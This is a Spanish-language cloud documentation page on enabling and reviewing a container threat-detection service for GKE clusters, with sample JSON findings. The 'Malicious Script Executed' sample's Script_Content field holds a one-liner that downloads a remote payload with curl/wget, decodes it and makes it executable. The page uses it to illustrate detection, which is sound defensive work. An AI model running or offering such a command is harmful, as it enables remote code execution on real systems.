Usar la detección de amenazas de contenedores

En esta página, se muestra cómo revisar los resultados de Container Threat Detection en el panel de Security Command Center y se incluyen ejemplos de estos tipos. Container Threat Detection es un servicio integrado para el nivel Premium de Security Command Center. Para ver los resultados de Container Threat Detection, el servicio debe estar habilitado en la configuración Servicios de Security Command Center.

En el siguiente video, se muestran los pasos para configurar Container Threat Detection y se proporciona información sobre cómo usar el panel. Obtén más información para ver y administrar los resultados de Container Threat Detection en Revisa los resultados en esta página.

Usa una versión de GKE compatible

Para detectar posibles amenazas en tus contenedores, asegúrate de que tus clústeres tengan una versión compatible de Google Kubernetes Engine (GKE). En este momento, la detección de amenazas a contenedores admite las siguientes versiones de GKE en los canales estables, regulares y rápidos:

  • >= 1.15.9-gke.12
  • >= 1.16.5-gke.2
  • >= 1.17
  • >= 1.18.10-gke.1400
  • >= 1.19.2-gke.2000
  • >= 1.20

La detección de amenazas a contenedores solo admite imágenes de nodo de Container-Optimized OS.

Habilita Container Threat Detection

Para usar una versión de GKE compatible y detectar amenazas en tus contenedores, haz lo siguiente:

  1. Completa los pasos de la guía para actualizar un clúster.
  2. Asegúrate de que Container Threat Detection esté habilitada para el clúster:

    1. Ve a la página Configuración del Security Command Center en Cloud Console.

      Ir a la configuración

    2. Navega a Configuración avanzada y expande el menú. Verás una lista de los recursos de tu organización.

    3. En la columna Container Threat Detection, selecciona Habilitado de forma predeterminada para cada clúster que hayas actualizado. El servicio se habilita de forma automática para los recursos secundarios en las carpetas si se configuran para heredar. Habilita manualmente la detección de amenazas a contenedores para los recursos secundarios que no están configurados para heredar.

    4. Un cuadro de diálogo te solicitará que confirmes tus elecciones. Lee el mensaje y, luego, haz clic en Sí, comprendo.

Para obtener más información, consulta Configura los recursos de Security Command Center.

Verifica la configuración del clúster de GKE

Para que Container Threat Detection funcione, si tu clúster está en una nube privada virtual (VPC), su red debe cumplir con los requisitos de enrutamiento, firewall y DNS para comunicarse con las API y los servicios de Google. Para acceder a las API de Google, revisa las siguientes guías:

Además, la configuración del clúster de GKE o las restricciones de la política de la organización no deben bloquear la creación o el uso de ningún objeto que Container Threat Detection necesite para funcionar. En las siguientes secciones, se incluye una lista de objetos de GKE que crea Container Threat Detection y se explica cómo configurar componentes esenciales de GKE para que funcionen con Container Threat Detection.

Objetos de Kubernetes

Después de la integración, la detección de amenazas a contenedores crea varios objetos de GKE en tus clústeres habilitados. Los objetos se usan a fin de supervisar imágenes de contenedor, administrar pods y contenedores privilegiados, y evaluar el estado para generar resultados. En la siguiente tabla, se enumeran los objetos, sus propiedades y las funciones esenciales.

Objeto Nombre1 Propiedades Función
ClusterRole pod-reader Otorga los permisos get, watch y list en los pods. Conserva la funcionalidad cuando PodSecurityPolicy está habilitado
ClusterRoleBinding container-watcher-pod-reader

gce:podsecuritypolicy:container-watcher

Otorga las funciones pod-reader y gce:podsecuritypolicy:privileged a ServiceAccount de container-watcher-pod-reader.
RoleBinding gce:podsecuritypolicy:container-watcher Otorga la función gce:podsecuritypolicy:privileged a ServiceAccount de container-watcher-pod-reader.
DaemonSet container-watcher Con privilegios Interacciones con el módulo de seguridad de Linux y Container Engine
Activa /host/ como lectura y escritura Comunicación con el módulo de seguridad de Linux
Activa /etc/container-watcher/secrets como de solo lectura para acceder a container-watcher-token Authentication
Usos hostNetwork Busca la generación
Imagen
gke.gcr.io/watcher-daemonset
Habilitación y actualización
Backend
containerthreatdetection-REGION.googleapis.com:443
Busca la generación
ServiceAccount container-watcher-pod-reader Inhabilitación, actualización e inhabilitación
Secret container-watcher-token Authentication

1 Todos los objetos están en el espacio de nombres kube-system, excepto container-watcher-pod-reader y gce:podsecuritypolicy:container-watcher.

PodSecurityPolicy y controladores de admisión

PodSecurityPolicy es un recurso de controlador de admisión que creas y que valida las solicitudes a fin de crear y actualizar los pods de tu clúster. Container Threat Detection es compatible con PodSecurityPolicies que se aplican de forma automática cuando se crea o actualiza un clúster con la marca enable-pod-security-policy. En particular, la detección de amenazas a Container Threat Detection gce.privileged cuando PodSecurityPolicy está habilitado.

Si usas PodSecurityPolicies personalizados o algún otro controlador de admisión, no deben bloquear la creación ni el uso de objetos para que Container Threat Detection funcione. Por ejemplo, un controlador de admisión basado en webhook que rechaza o anula implementaciones privilegiadas podría evitar que Container Threat Detection funcione de manera correcta.

Para obtener más información, consulta Usa PodSecurityPolicies.

Permisos de IAM obligatorios

La cuenta de servicio administrada por Google de Container Threat Detection, que usa el formato service-PROJECT_NUMBER@gcp-sa-ktd-control.iam.gserviceaccount.com, requiere la función de agente de servicio de Container Threat Detection (roles/containerthreatdetection.serviceAgent ) a fin de habilitar o inhabilitar Container Threat Detection y administrar el agente de Container Threat Detection en los clústeres de GKE. Quitar esta función predeterminada de la cuenta de servicio podría impedir que Container Threat Detection funcione de forma correcta.

Uso de recursos

La detección de amenazas a contenedores está diseñada para ejercer un impacto de rendimiento insignificante en tus clústeres y no debería afectar la latencia en ninguna operación de clúster.

El uso de recursos depende de la carga de trabajo. Sin embargo, los componentes principales de la detección de amenazas a contenedores (el espacio de usuario DaemonSet y el módulo de seguridad de Linux [LSM]) tienen el siguiente impacto de rendimiento estimado:

  • DaemonSet: Un máximo de 0.125 CPU virtuales y 300 MB de memoria, según los límites estrictos establecidos para restringir el uso de recursos. En ocasiones, los límites se vuelven a evaluar y se pueden cambiar a fin de optimizar el rendimiento, en especial para nodos muy grandes.
  • LSM: Varía según las características de la carga de trabajo, pero en casos de estrés del LSM, observamos menos del 2% de la CPU y del 1% de la memoria. Puedes probar el impacto en el rendimiento si instrumentas las cargas de trabajo con y sin Container Threat Detection habilitada.

Si eres cliente de BigQuery, puedes habilitar la medición del uso de GKE para supervisar el uso de recursos del espacio de usuario DaemonSet de Container Threat Detection. Para ver el espacio de usuario DaemonSet en la medición de uso, busca el espacio de nombres kube-system y la etiqueta k8s-app=container-watcher.

La medición de uso de GKE no puede realizar un seguimiento del uso de CPU del kernel de forma específica para el LSM. Esos datos se incluyen en el uso general de la CPU.

API de Container Threat Detection

La detección de amenazas a contenedores habilita de forma automática la API containerthreatdetection durante la integración para permitir la generación de resultados. No debes interactuar directamente con esta API requerida. Inhabilitar esta API dañaría la capacidad de Container Threat Detection de generar resultados nuevos. Si deseas dejar de recibir los resultados de la detección de Container Threat Detection, inhabilita Container Threat Detection en la configuración de servicios de Security Command Center.

Revisa los resultados

Cuando Container Threat Detection genera resultados, puedes verlos en Security Command Center. Si configuraste las exportaciones continuas para escribir registros, también puedes ver los resultados en Cloud Logging. Para generar un resultado y verificar la configuración, puedes activar de forma intencional un detector y probar la detección de amenazas a contenedores.

Container Threat Detection tiene las siguientes latencias:

  • Latencia de activación de 3.5 horas para organizaciones recientemente incorporadas.
  • Latencia de activación de minutos para clústeres nuevos.
  • Latencia de detección de minutos para las amenazas en los clústeres que se activaron

Revisa resultados en Security Command Center

Las funciones de Security Command Center se otorgan a nivel de organización, carpeta o proyecto. Tu capacidad para ver, editar, crear o actualizar hallazgos, elementos, fuentes de seguridad y marcas de seguridad depende del nivel para el que se te otorga acceso. Para obtener más información sobre las funciones de Security Command Center, consulta Control de acceso.

Para revisar los resultados de Container Threat Detection en Security Command Center, haz lo siguiente:

  1. Ve a la pestaña Resultados de Security Command Center en Google Cloud Console.

    Ir a hallazgos

  2. Junto a Ver por, haz clic en Tipo de fuente.

  3. En la lista Tipo de fuente, selecciona Detección de amenazas a contenedores.

  4. Para ver los detalles de un resultado específico, haz clic en el nombre del resultado en category. El panel de detalles de resultados se expande para mostrar información que incluye lo siguiente:

    • El tipo de hallazgo, como “Se agregó el ejecutable binario”
    • Fuente: “Container Threat Detection”
    • Hora del evento: momento en que se produjo el resultado
    • ID de hallazgo: un identificador único para la búsqueda
    • Nombre del recurso: el clúster de GKE afectado
    • Encontrar propiedades con más información, incluidas las siguientes:
      • Nombre del contenedor
      • Tiempo de creación del contenedor
      • ID y URI de la imagen del contenedor
      • Campos adicionales basados en el detector. Por ejemplo, los resultados inversos de shell incluyen la dirección IP del host remoto.

Para obtener una lista de los resultados de Container Threat Detection, consulta Detectores de Container Threat Detection.

Visualiza los resultados en Cloud Logging

Para ver los resultados de Container Threat Detection en Cloud Logging, haz lo siguiente:

  1. Ve a la página Visor de registros para Cloud Logging en Cloud Console.

    Ir al Explorador de registros

  2. En el Selector de proyectos en la parte superior de la página, selecciona el proyecto en el que almacenas los registros de Container Threat Detection.

  3. Haz clic en la pestaña Compilador de consultas.

  4. En la lista desplegable de recursos, selecciona Threat Detector.

    • Para ver los resultados de todos los detectores, selecciona all detection_name.
    • Para ver los resultados de un detector específico, selecciona su nombre.
  5. Como alternativa, ingresa resource.type="threat_detector" en el cuadro de texto del compilador de consultas y haz clic en Ejecutar consulta.

  6. La tabla se actualiza con los registros que seleccionaste.

  7. Crea consultas de registros avanzadas para especificar un conjunto de entradas de cualquier cantidad de registros.

Ejemplos de formatos de resultados

En esta sección, se incluyen los formatos de salida JSON para los resultados de Container Threat Detection a medida que aparecen cuando creas exportaciones desde el panel de Security Command Center o ejecutas métodos de lista en la API de Security Command Center.

Los ejemplos de salida contienen los campos más comunes a todos los resultados. Sin embargo, es posible que no aparezcan todos los campos en todos los resultados. El resultado real que verás depende de la configuración de un recurso y del tipo y estado de los resultados.

Se ejecutó el objeto binario añadido

{
  "finding": {
    "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID",
    "parent": "organizations/ORGANIZATION_ID/sources/SOURCE_ID",
    "resourceName": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",
    "state": "ACTIVE",
    "category": "Added Binary Executed",
    "sourceProperties": {
      "VM_Instance_Name": "INSTANCE_ID",
      "Added_Binary_Kind": "Added",
      "Container_Image_Id": "CONTAINER_IMAGE_ID",
      "Container_Name": "CONTAINER_NAME",
      "Parent_Pid": 1.0,
      "Container_Image_Uri": "CONTAINER_IMAGE_URI",
      "Process_Creation_Timestamp": {
        "seconds": 1.617989997E9,
        "nanos": 1.17396995E8
      },
      "Pid": 53.0,
      "Pod_Namespace": "default",
      "Process_Binary_Fullpath": "BINARY_PATH",
      "Process_Arguments": ["BINARY_PATH"],
      "Pod_Name": "POD_NAME",
      "description": "A binary that was not part of the original container image
      was executed. If an added binary is executed by an attacker, this is a
      possible sign that an attacker has control of the workload and they are
      executing arbitrary commands.",
      "Environment_Variables": ["KUBERNETES_PORT\u003dtcp://IP_ADDRESS:PORT",
      "KUBERNETES_SERVICE_PORT\u003d443", "HOSTNAME\u003dreconnect-
      test-4af235e12be6f9d9", "HOME\u003d/root",
      "KUBERNETES_PORT_443_TCP_ADDR\u003dIP_ADDRESS",
      "PATH\u003d/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
      "KUBERNETES_PORT_443_TCP_PORT\u003d443",
      "KUBERNETES_PORT_443_TCP_PROTO\u003dtcp",
      "DEBIAN_FRONTEND\u003dnoninteractive",
      "KUBERNETES_PORT_443_TCP\u003dtcp://IP_ADDRESS:PORT",
      "KUBERNETES_SERVICE_PORT_HTTPS\u003d443",
      "KUBERNETES_SERVICE_HOST\u003dIP_ADDRESS", "PWD\u003d/"],
      "Container_Creation_Timestamp": {
        "seconds": 1.617989918E9,
        "nanos": 0.0
      }
    },
    "securityMarks": {
      "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID/securityMarks"
    },
    "eventTime": "2021-04-09T17:39:57.527Z",
    "createTime": "2021-04-09T17:39:57.625Z",
    "propertyDataTypes": {
      "Container_Image_Id": {
        "primitiveDataType": "STRING"
      },
      "Pod_Namespace": {
        "primitiveDataType": "STRING"
      },
      "Container_Creation_Timestamp": {
        "dataType": "TIMESTAMP",
        "structValue": {
          "fields": {
            "seconds": {
              "primitiveDataType": "NUMBER"
            },
            "nanos": {
              "primitiveDataType": "NUMBER"
            }
          }
        }
      },
      "Environment_Variables": {
        "listValues": {
          "propertyDataTypes": [{
            "primitiveDataType": "STRING"
          }]
        }
      },
      "Added_Binary_Kind": {
        "primitiveDataType": "STRING"
      },
      "description": {
        "primitiveDataType": "STRING"
      },
      "Pid": {
        "primitiveDataType": "NUMBER"
      },
      "Process_Arguments": {
        "listValues": {
          "propertyDataTypes": [{
            "primitiveDataType": "STRING"
          }]
        }
      },
      "Container_Image_Uri": {
        "primitiveDataType": "STRING"
      },
      "Pod_Name": {
        "primitiveDataType": "STRING"
      },
      "Process_Creation_Timestamp": {
        "dataType": "TIMESTAMP",
        "structValue": {
          "fields": {
            "seconds": {
              "primitiveDataType": "NUMBER"
            },
            "nanos": {
              "primitiveDataType": "NUMBER"
            }
          }
        }
      },
      "Parent_Pid": {
        "primitiveDataType": "NUMBER"
      },
      "VM_Instance_Name": {
        "primitiveDataType": "STRING"
      },
      "Container_Name": {
        "primitiveDataType": "STRING"
      },
      "Process_Binary_Fullpath": {
        "primitiveDataType": "STRING"
      }
    },
    "severity": "CRITICAL",
    "workflowState": "NEW",
    "canonicalName": "projects/PROJECT_NUMBER/sources/SOURCE_ID/findings/FINDING_ID"
  },
  "resource": {
    "name": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",
    "projectName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER",
    "projectDisplayName": "PROJECT_ID",
    "parentName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER",
    "parentDisplayName": "PROJECT_ID",
    "type": "google.container.Cluster"
  }
}
    

Se cargó la biblioteca agregada

{
  "finding": {
    "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findingsFINDING_ID",
    "parent": "organizations/ORGANIZATION_ID/sources/SOURCE_ID",
    "resourceName": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",
    "state": "ACTIVE",
    "category": "Added Library Loaded",
    "sourceProperties": {
      "Process_Arguments": ["BINARY_PATH", "ADDED_LIBRARY_NAME"],
      "Parent_Pid": 1.0,
      "Container_Name": "CONTAINER_NAME",
      "Added_Library_Fullpath": "ADDED_LIBRARY_PATH",
      "Container_Image_Id": "CONTAINER_IMAGE_ID",
      "Container_Creation_Timestamp": {
        "seconds": 1.618004144E9,
        "nanos": 0.0
      },
      "Pod_Name": "POD_NAME",
      "Pid": 7.0,
      "description": "A library that was not part of the original container
      image was loaded. If an added library is loaded, this is a possible sign
      that an attacker has control of the workload and they are executing
      arbitrary code.",
      "VM_Instance_Name": "INSTANCE_ID",
      "Pod_Namespace": "default",
      "Environment_Variables": ["KUBERNETES_SERVICE_PORT\u003d443",
      "KUBERNETES_PORT\u003dtcp://IP_ADDRESS:PORT", "HOSTNAME\u003dsuspicious-
      library", "LD_LIBRARY_PATH\u003d/tmp", "PORT\u003d8080",
      "HOME\u003d/root", "PYTHONUNBUFFERED\u003d1",
      "KUBERNETES_PORT_443_TCP_ADDR\u003dIP_ADDRESS",
      "PATH\u003d/opt/python3.7/bin:/opt/python3.6/bin:/opt/python3.5/bin:/opt/p
      ython3.4/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
      , "KUBERNETES_PORT_443_TCP_PORT\u003d443",
      "KUBERNETES_PORT_443_TCP_PROTO\u003dtcp", "LANG\u003dC.UTF-8",
      "DEBIAN_FRONTEND\u003dnoninteractive",
      "KUBERNETES_SERVICE_PORT_HTTPS\u003d443",
      "KUBERNETES_PORT_443_TCP\u003dtcp://IP_ADDRESS:PORT",
      "KUBERNETES_SERVICE_HOST\u003dIP_ADDRESS", "PWD\u003d/home/vmagent/app"],
      "Process_Binary_Fullpath": "BINARY_PATH",
      "Added_Library_Kind": "Added",
      "Container_Image_Uri": "CONTAINER_IMAGE_uri"
    },
    "securityMarks": {
      "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID/securityMarks"
    },
    "eventTime": "2021-04-09T21:36:13.069Z",
    "createTime": "2021-04-09T21:36:13.267Z",
    "propertyDataTypes": {
      "Container_Image_Id": {
        "primitiveDataType": "STRING"
      },
      "Added_Library_Fullpath": {
        "primitiveDataType": "STRING"
      },
      "Container_Creation_Timestamp": {
        "dataType": "TIMESTAMP",
        "structValue": {
          "fields": {
            "seconds": {
              "primitiveDataType": "NUMBER"
            },
            "nanos": {
              "primitiveDataType": "NUMBER"
            }
          }
        }
      },
      "Pod_Namespace": {
        "primitiveDataType": "STRING"
      },
      "Environment_Variables": {
        "listValues": {
          "propertyDataTypes": [{
            "primitiveDataType": "STRING"
          }]
        }
      },
      "description": {
        "primitiveDataType": "STRING"
      },
      "Process_Arguments": {
        "listValues": {
          "propertyDataTypes": [{
            "primitiveDataType": "STRING"
          }]
        }
      },
      "Pid": {
        "primitiveDataType": "NUMBER"
      },
      "Container_Image_Uri": {
        "primitiveDataType": "STRING"
      },
      "Pod_Name": {
        "primitiveDataType": "STRING"
      },
      "Added_Library_Kind": {
        "primitiveDataType": "STRING"
      },
      "Parent_Pid": {
        "primitiveDataType": "NUMBER"
      },
      "VM_Instance_Name": {
        "primitiveDataType": "STRING"
      },
      "Container_Name": {
        "primitiveDataType": "STRING"
      },
      "Process_Binary_Fullpath": {
        "primitiveDataType": "STRING"
      }
    },
    "severity": "CRITICAL",
    "workflowState": "NEW",
    "canonicalName": "projects/PROJECT_NUMBER/sources/SOURCE_ID/findings/FINDING_ID"
  },
  "resource": {
    "name": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",
    "projectName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER",
    "projectDisplayName": "PROJECT_ID",
    "parentName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER",
    "parentDisplayName": "PROJECT_ID",
    "type": "google.container.Cluster"
  }
}
  

Secuencia de comandos maliciosa ejecutada

{
  "finding": {
    "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID",
    "parent": "organizations/ORGANIZATION_ID/sources/SOURCE_ID",
    "resourceName": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",
    "state": "ACTIVE",
    "category": "Malicious Script Executed",
    "sourceProperties": {
      "VM_Instance_Name": "INSTANCE_ID",
      "Script_Filename": "FILENAME",
      "Script_SHA256": "SHA_256",
      "Container_Image_Id": "CONTAINER_IMAGE_ID",
      "Container_Name": "CONTAINER_NAME",
      "Parent_Pid": 1.0,
      "Container_Image_Uri": "CONTAINER_IMAGE_URI",
      "Process_Creation_Timestamp": {
        "seconds": 1.617989997E9,
        "nanos": 1.17396995E8
      },
      "Pid": 53.0,
      "Pod_Namespace": "default",
      "Process_Binary_Fullpath": "INTERPRETER",
      "Process_Arguments": ["INTERPRETER", "FILENAME"],
      "Pod_Name": "POD_NAME",
      "description": "A machine learning model using Natural Language Processing (NLP) techniques identified an executed bash script as malicious.",
      "Script_Content": "(curl -fsSL https://pastebin.com||wget -q -O - https://pastebin.com)| tac | base64 -di | exit 0 | > x ; chmod 777 x ;",
      "Environment_Variables": ["KUBERNETES_PORT\u003dtcp://IP_ADDRESS:PORT",
      "KUBERNETES_SERVICE_PORT\u003d443", "HOSTNAME\u003dreconnect-
      test-4af235e12be6f9d9", "HOME\u003d/root",
      "KUBERNETES_PORT_443_TCP_ADDR\u003dIP_ADDRESS",
      "PATH\u003d/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
      "KUBERNETES_PORT_443_TCP_PORT\u003d443",
      "KUBERNETES_PORT_443_TCP_PROTO\u003dtcp",
      "DEBIAN_FRONTEND\u003dnoninteractive",
      "KUBERNETES_PORT_443_TCP\u003dtcp://IP_ADDRESS:PORT",
      "KUBERNETES_SERVICE_PORT_HTTPS\u003d443",
      "KUBERNETES_SERVICE_HOST\u003dIP_ADDRESS", "PWD\u003d/"],
      "Container_Creation_Timestamp": {
        "seconds": 1.617989918E9,
        "nanos": 0.0
      }
    },
    "securityMarks": {
      "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID/securityMarks"
    },
    "eventTime": "2021-04-09T17:39:57.527Z",
    "createTime": "2021-04-09T17:39:57.625Z",
    "propertyDataTypes": {
      "Container_Image_Id": {
        "primitiveDataType": "STRING"
      },
      "Pod_Namespace": {
        "primitiveDataType": "STRING"
      },
      "Container_Creation_Timestamp": {
        "dataType": "TIMESTAMP",
        "structValue": {
          "fields": {
            "seconds": {
              "primitiveDataType": "NUMBER"
            },
            "nanos": {
              "primitiveDataType": "NUMBER"
            }
          }
        }
      },
      "Environment_Variables": {
        "listValues": {
          "propertyDataTypes": [{
            "primitiveDataType": "STRING"
          }]
        }
      },
      "description": {
        "primitiveDataType": "STRING"
      },
      "Pid": {
        "primitiveDataType": "NUMBER"
      },
      "Process_Arguments": {
        "listValues": {
          "propertyDataTypes": [{
            "primitiveDataType": "STRING"
          }]
        }
      },
      "Container_Image_Uri": {
        "primitiveDataType": "STRING"
      },
      "Pod_Name": {
        "primitiveDataType": "STRING"
      },
      "Process_Creation_Timestamp": {
        "dataType": "TIMESTAMP",
        "structValue": {
          "fields": {
            "seconds": {
              "primitiveDataType": "NUMBER"
            },
            "nanos": {
              "primitiveDataType": "NUMBER"
            }
          }
        }
      },
      "Parent_Pid": {
        "primitiveDataType": "NUMBER"
      },
      "VM_Instance_Name": {
        "primitiveDataType": "STRING"
      },
      "Script_Content": {
        "primitiveDataType": "STRING"
      },
      "Script_Filename": {
        "primitiveDataType": "STRING"
      },
      "Container_Name": {
        "primitiveDataType": "STRING"
      },
      "Script_SHA256": {
        "primitiveDataType": "STRING"
      },
      "Process_Binary_Fullpath": {
        "primitiveDataType": "STRING"
      }
    },
    "severity": "CRITICAL",
    "workflowState": "NEW",
    "canonicalName": "projects/PROJECT_NUMBER/sources/SOURCE_ID/findings/FINDING_ID"
  },
  "resource": {
    "name": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",
    "projectName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER",
    "projectDisplayName": "PROJECT_ID",
    "parentName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER",
    "parentDisplayName": "PROJECT_ID",
    "type": "google.container.Cluster"
  }
}
  

Shells inversas

{
  "finding": {
    "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID",
    "parent": "organizations/ORGANIZATION_ID/sources/SOURCE_ID",
    "resourceName": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",
    "state": "ACTIVE",
    "category": "Reverse Shell",
    "sourceProperties": {
      "Reverse_Shell_Stdin_Redirection_Src_Ip": "SOURCE_IP_ADDRESS",
      "Environment_Variables": ["HOSTNAME\u003dreverse-shell",
      "KUBERNETES_PORT\u003dtcp://IP_ADDRESS:PORT",
      "KUBERNETES_PORT_443_TCP_PORT\u003d443", "PYTHONUNBUFFERED\u003d1",
      "KUBERNETES_SERVICE_PORT\u003d443",
      "KUBERNETES_SERVICE_HOST\u003dIP_ADDRESS",
      "PATH\u003d/opt/python3.7/bin:/opt/python3.6/bin:/opt/python3.5/bin:/opt/p
      ython3.4/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
      , "PWD\u003d/home/vmagent/app", "LANG\u003dC.UTF-8", "SHLVL\u003d1",
      "HOME\u003d/root", "KUBERNETES_PORT_443_TCP_PROTO\u003dtcp",
      "KUBERNETES_SERVICE_PORT_HTTPS\u003d443",
      "DEBIAN_FRONTEND\u003dnoninteractive", "PORT\u003d8080",
      "KUBERNETES_PORT_443_TCP_ADDR\u003dIP_ADDRESS",
      "KUBERNETES_PORT_443_TCP\u003dtcp://IP_ADDRESS:PORT", "_\u003d/bin/echo"],
      "Container_Image_Uri": "CONTAINER_IMAGE_URI",
      "Process_Binary_Fullpath": "BINARY_PATH",
      "Container_Creation_Timestamp": {
        "seconds": 1.617989861E9,
        "nanos": 0.0
      },
      "Pod_Name": "POD_NAME",
      "Container_Name": "CONTAINER_NAME",
      "Process_Arguments": ["BINARY_PATH", "BINARY_NAME"],
      "Pid": 15.0,
      "Reverse_Shell_Stdin_Redirection_Dst_Port": DESTINATION_PORT,
      "Container_Image_Id": "CONTAINER_IMAGE_ID",
      "Reverse_Shell_Stdin_Redirection_Dst_Ip": "DESTINATION_IP_ADDRESS",
      "Pod_Namespace": "default",
      "VM_Instance_Name": "INSTANCE_ID",
      "Reverse_Shell_Stdin_Redirection_Src_Port": SOURCE_PORT,
      "description": "A process started with stream redirection to a remote
      connected socket. With a reverse shell, an attacker can communicate from a
      compromised workload to an attacker-controlled machine. The attacker can
      then command and control the workload to perform desired actions, for
      example as part of a botnet.",
      "Parent_Pid": 1.0,
      "Process_Creation_Timestamp": {
        "seconds": 1.61798989E9,
        "nanos": 6.16573691E8
      }
    },
    "securityMarks": {
      "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID/securityMarks"
    },
    "eventTime": "2021-04-09T17:38:10.904Z",
    "createTime": "2021-04-09T17:38:15.486Z",
    "propertyDataTypes": {
      "Container_Image_Id": {
        "primitiveDataType": "STRING"
      },
      "Container_Creation_Timestamp": {
        "dataType": "TIMESTAMP",
        "structValue": {
          "fields": {
            "seconds": {
              "primitiveDataType": "NUMBER"
            },
            "nanos": {
              "primitiveDataType": "NUMBER"
            }
          }
        }
      },
      "Pod_Namespace": {
        "primitiveDataType": "STRING"
      },
      "Environment_Variables": {
        "listValues": {
          "propertyDataTypes": [{
            "primitiveDataType": "STRING"
          }]
        }
      },
      "Reverse_Shell_Stdin_Redirection_Dst_Ip": {
        "primitiveDataType": "STRING"
      },
      "description": {
        "primitiveDataType": "STRING"
      },
      "Process_Arguments": {
        "listValues": {
          "propertyDataTypes": [{
            "primitiveDataType": "STRING"
          }]
        }
      },
      "Pid": {
        "primitiveDataType": "NUMBER"
      },
      "Reverse_Shell_Stdin_Redirection_Src_Ip": {
        "primitiveDataType": "STRING"
      },
      "Container_Image_Uri": {
        "primitiveDataType": "STRING"
      },
      "Reverse_Shell_Stdin_Redirection_Dst_Port": {
        "primitiveDataType": "NUMBER"
      },
      "Pod_Name": {
        "primitiveDataType": "STRING"
      },
      "Process_Creation_Timestamp": {
        "dataType": "TIMESTAMP",
        "structValue": {
          "fields": {
            "seconds": {
              "primitiveDataType": "NUMBER"
            },
            "nanos": {
              "primitiveDataType": "NUMBER"
            }
          }
        }
      },
      "Reverse_Shell_Stdin_Redirection_Src_Port": {
        "primitiveDataType": "NUMBER"
      },
      "Parent_Pid": {
        "primitiveDataType": "NUMBER"
      },
      "VM_Instance_Name": {
        "primitiveDataType": "STRING"
      },
      "Container_Name": {
        "primitiveDataType": "STRING"
      },
      "Process_Binary_Fullpath": {
        "primitiveDataType": "STRING"
      }
    },
    "severity": "CRITICAL",
    "workflowState": "NEW",
    "canonicalName": "projects/PROJECT_NUMBER/sources/SOURCE_ID/findings/FINDING_ID"
  },
  "resource": {
    "name": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",
    "projectName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER",
    "projectDisplayName": "PROJECT_ID",
    "parentName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER",
    "parentDisplayName": "PROJECT_ID",
    "type": "google.container.Cluster"
  }
}
  

¿Qué sigue?